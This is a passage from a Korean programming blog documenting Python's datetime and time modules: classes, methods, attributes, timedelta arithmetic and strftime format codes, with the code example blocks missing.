time.replace([hour[, minute[

, second[, microsecond[, tzinfo]]]]])

입력된 값으로 수정된 time 객체를 반환.

원본 객체는 변경되지 않습니다.

time.isoformat()

time 객체의 값을 'HH:MM:SS.mmmmmm' 형식이나

'HH:MM:SS' 형식(마이크로초가 없는 경우)의문자열을 반환

time.strftime(format)

지정된 포맷에 맞춰 time 객체의 정보를 문자열로 반환.

xample :

 

 

 

[ datetime 클래스 ]

 

class datetime.datetime(year, month, day[, hour[, minute[, second[, microsecond[, tzinfo]]]]])

datetime 클래스는 date 클래스와 time 클래스의 조합으로 이루어져 있습니다.

숫자로 각 인자를 받아서 datetime 객체를 생성하며, 년, 월, 일은 생략이 불가능 합니다.

명시적으로 인자를 지정하여 입력할 수 있으며, 생략된 인자는 '0'으로 초기화 됩니다.

만약 입력된 인자가 아래의 조건을 따르지 않는 경우, ValueError가 발생합니다.

Ÿ MINYEAR(1) <= year <= MAXYEAR(9999)

Ÿ 1 <= month <= 12

Ÿ 1 <= day <= 주어진 년도 그리고 달의 날자 개수

Ÿ 0 <= hour < 24

Ÿ 0 <= minute < 60

Ÿ 0 <= second < 60

Ÿ 0 <= microsecond < 1000000

┗[ datetime 객체를 반환하는 메서드 ]┓

메서드

내용

datetime.today()

현재 지방 기준의 datetime 객체를 생성합니다.

datetime.now([tz])

현재 지방 기준의 datetime 객체를 생성합니다.

(시간대 정보가 특별히 입력되지 않으면

플랫폼의 시간대를 그대로 사용합니다)

datetime.utcnow()

UTC 기준의 DATETIME 객체를 생성합니다.

datetime.fromtimestamp(

timestamp[, tz])

타임스탬프를 지방 기준의 DATETIME 객체를 생성합니다.

datetime.

utcfromtimestamp(timestamp)

타임스탬프를 UTC 기준의 DATETIME 객체를 생성합니다.

datetime.fromordinal(ordinal)

1년 1월 1일 이후로 누적된 날짜로부터 datetime 객체를

생성. 시간 관련된 값은 '0'으로 할당 됩니다.

datetime.combine(date, time)

date 객체와 time 객체를 입력받아서 datetime 객체를 생성

datetime.strptime(date_string,

format)

시간을 표현한 사용자가 정의한 형식 문자열을

datetime 객체를 생성합니다.

xample - datetime 객체 생성 예:

 

# datetime 객체를 반환하는 메서드 사용 예:

 

[ datetime 객체 속성 ]

속성

내용

datetime.year

년(읽기 전용)

datetime.month

월(읽기 전용)

datetime.day

일(읽기 전용)

datetime.hour

시(0~23, 읽기 전용)

datetime.minute

분(0~59, 읽기 전용)

datetime.second

초(0~59, 읽기 전용)

datetime.microsecond

마이크로초(0~999999, 읽기 전용)

datetime.min

datetime 객체가 표현할 수 있는 최소값.

(datetime(1, 1, 1))

datetime.max

datetime 객체가 표현할 수 있는 최대값.

((9999, 12, 31, 23, 59, 59, 999999))

 

[ datetime 클래스를 다른 형식으로 변환하는 메서드 ]

메서드

내용

datetime.date()

원본 객체의 년,월,일 정보를 가지고 있는 date 객체 반환

datetime.time()

원본 객체의 시,분,초,마이크로초를 가지고 있는 time 객체 반환

datetime.replace()

입력된 값으로 변경된 datetime 객체를 반환

datetime.timetuple()

datetime 객체의 값을 time.struct_time 형식의 시퀀스 객체로

변환하여 반환.

xample :

 

[ datetime 클래스의 출력과 관련된 메서드 ]

메서드

내용

datetime.weekday()

각 요일을 숫자로 나타냄 (월요일=0 ~ 일요일=6)

(time.struct_time.tm_wday 참조)

datetime.isoweekday()

ISO 형식에 맞도록 각 요일을 숫자로 나타냄.

(월요일=1 ~ 일요일=7)

datetime.isocalendar()

ISO 형식에 맞는 날짜 표현

(ISO year, ISO week number, ISO weekday)을 튜플로 반환.

datetime.isoformat()

datetime 객체를 'YYYY-MM-DDTHH:MM:SS.mmmmmm' 형식

이나 'YYYY-MM-DDTHH:MM:SS'(마이크로초가 0인 경우) 형식

으로 변환하여 문자열로 반환합니다.

datetime.ctime()

datetime 객체를 'Thu Mar 26 18:53:03 2009' 형식의

문자열을 반환

datetime.strftime(format)

입력된 포맷 형식에 맞추어 datetime 객체를 문자열로 반환

xample :

 

 

 

[ timedelta 클래스 ]

 

class datetime.timedelta([days[, seconds[, microseconds[,

milliseconds[, minutes[, hours[, weeks]]]]]]])

새롭게 시작하는 연인들에게 가장 중요한 것이 100일, 1000일과 같은 기념일을 챙기는 것입니다.

이러한 시간, 날짜의 연산을 위하여 파이썬에서는 timedelta 클래스를 사용할 수 있습니다.

timedelta 클래스는 두 날짜 혹은 시간 사이의 기간을 표현 합니다.

 

생성되는 timedelta 객체의 값을 확인해보면 생성자에 전달된 값과 다른 것을 확인할 수 있습니다.

그 이유는 동일한 기간을 표현하는 방식이 다양하게 표현(1weeks와 7days는 동일)될 수 있기

때문에, 입력된 값을 가지고 timedelta 객체에서 정규화 과정을 거쳐 유일한 표현 방식으로

변경하기 때문입니다.

 

[ 정규화 결과 timedelta 객체에 저장되는 값 ]

Ÿ 0 <= microseconds < 1000000

Ÿ 0 <= seconds < 3600*24 (초로 표현할 수 있는 최대값은 하루입니다)

Ÿ -999999999 <= days <= 999999999

xample : timedelta 클래스의 생성 예:

# 표현할 수 있는 가장 작은 값.

 

[ 시간, 날짜의 연산 ]

이제 연인들을 위한 100일, 1000일 계산하는 방법에 대해서 알아보겠습니다.

100일이 너무 길다면, 100 마이크로초, 500초 등도 계산이 가능하니 여러모로 활용이 가능합니다.

두 날짜, 시간 사이의 기간은 timedelta 클래스로 표현하는 방법을 앞에서 설명 드렸습니다.

이렇게 생성된 timedelta 객체를 이용하여 아래의 연산을 수행할 수 있습니다.

연산 결과로는 모두 timedelta 객체가 반환 됩니다.

 

Ÿ timedelta_3 = timedelta_1 + timedelta_2

Ÿ timedelta_3 = timedelta_1 - timedelta_2

Ÿ timedelta_2 = timedelta_1 * int = int * timedelta_1

Ÿ timedelta_2 = timedelta_1 // int

Ÿ abs(timedelta)

 

생성된 timedelta 객체를 이용하여 date, datetime 객체를 변경할 수 있습니다.

지원하는 연산은 아래와 같으며, 각 객체 간의 비교연산도 가능합니다.

Ÿ date_2 = date_1 + timedelta

Ÿ date_2 = date_1 - timedelta

Ÿ timedelta = date_2 - date_1

Ÿ datetime_2 = datetime_1 + timedelta

Ÿ datetime_2 = datetime_1 - timedelta

Ÿ timedelta = datetime_1 - datetime_2

xample - timedelta의 연산을 수행하는 예:

# 그 외 비교 연산

xample - date 객체와 관련된 연산의 예:

xample - datetime 객체와 관련된 연산의 예:

 

'Programming > Python' 카테고리의 다른 글

ftplib(FTP protocol client) 모듈  (0) 2011.12.08
파이썬 – 시간(time) 모듈  (1) 2011.11.26
파이썬 – os 모듈  (2) 2011.11.22
파이썬 – sys 모듈  (0) 2011.11.21
파이썬 – os.glob 모듈  (0) 2011.11.20
Posted by devanix
2011. 11. 26. 21:04

[ 컴퓨터 시간 표현 ]

 

[ 용어 ]

[ 내용 ]

타임스탬프

(TimeStamp)

컴퓨터에서 시간을 측정하는 방법으로 1970년 1월1일 자정

(epoch)이후로 초 단위로 측정한 절대시간 입니다.

협정세계시

(UTC, Universal Time Coordinated)

1972부터 시행된 국제 표준시

(세슘 원자의 진동수에 의거한 초의 길이가 기준이 됩니다)

그리니치 평균시

(GMT, Greenwich Mean Time)

런던 그리니치 천문대의 자오선상에서의 평균 태양시 (1972년

부터 협정세계시를 사용하지만, 동일한 표현으로 널리 쓰임)

지방표준시

(LST, Local Standard Time)

UTC를 기준으로 경도 15도마다 1시간 차이가 발생하는 시간

(한국은 동경 135도를 기준으로 UTC보다 9시간 빠름)

일광절약 시간제

(DST, Daylight Saving Time)

흔히 서머타임으로 알고 있는 것으로, 에너지 절약을 목적

으로 시간을 한 시간씩 앞당기거나 뒤로 미루는 제도.

 

[ struct_time 시퀀스 객체 ]

 

[ 속성 ]

[ 내용 ]

tm_year

년도(예: 1982, 1999, 2009)

tm_mon

월(1~12)

tm_mday

일(1~31)

tm_hour

시(0~23)

tm_min

분(0~59)

tm_sec

초(0~61)

tm_wday

각 요일을 숫자로 나타냅니다. (월요일은 '0' 입니다)

tm_yday

1월 1일부터 오늘까지 누적된 날짜를 반환 (1~366)

tm_isdst

일광절약 시간제(서머타임)를 나타냅니다 (0, 1, -1)

 

[ time 모듈 함수 ]

 

[ 함수 ]

[ 내용 ]

time.time()

1970년 1월 1일 자정 이후로 누적된 초를 float 단위로 반환

time.sleep(secs)

현재 동작 중인프로세스를 주어진 초만큼 정지

time.gmtime([secs])

입력된 초를 변환하여, UTC기준의 struct_time 시퀀스 객체로 반환

(인자가 입력되지 않은 경우, time()을 이용하여 현재 시간을 변환)

time.localtime([secs])

입력된 초를 변환하여, 지방표준시 기준의 struct_time 시퀀스

객체를 반환 (인자가 입력되지 않은 경우, time()을 이용하여 현재

시간을 변환)

time.asctime([t])

struct_time 시퀀스 객체를 인자로 받아서

'Sun Mar 15 18:49:28:2009'와 같은 형태로 반환

time.mktime(t)

지방표준시인 struct_time 시퀀스 객체를 인자로 받아서 time()과

같은 누적된 초를 반환

time.strftime(format,[, t])

struct_time 객체를 사용자가 정의한 형식으로 변경하여

문자열로 반환

time.strptime(string[, format])

사용자가 정의한 형식 문자열을 struct_time 객체로 변환

 

[ 형식 지정자 ]

 

[ 지시자 ]

[ 내용 ]

%y

연도를 축약하여 표시

%Y

연도를 축약하지 않고 표시

%b

축약된 월 이름

%B

축약되지 않은 월 이름

%m

숫자로 표현한 월(01~12)

%d

일(01~31)

%H

24시를 기준으로 한 시(00~23)

%I

12시를 기준으로 한 시(01~12)

%M

분(00~59)

%S

초(00~61)

%p

오전(AM) / 오후(PM)을 표시

%a

축약된 요일 이름

%A

축약되지 않은 요일 이름

%w

요일을 숫자로 표시(예: 일요일(0))

%j

1월 1일부터 누적된 날짜(001~366)

 

 

[ Example ]

time 모듈의 함수 사용

 

▶ 10초가 sleep하는 예제

[실행결과]

 

▶ strftime() - 날짜의 출력 형식 지정

 

▶ strptime() - 지정된 형식 문자열 형태로 표현된 시간을 struct_time 객체로 변환

 

'Programming > Python' 카테고리의 다른 글

ftplib(FTP protocol client) 모듈  (0) 2011.12.08
파이썬 – 날짜시간(datetime) 모듈  (0) 2011.11.26
파이썬 – os 모듈  (2) 2011.11.22
파이썬 – sys 모듈  (0) 2011.11.21
파이썬 – os.glob 모듈  (0) 2011.11.20
Posted by devanix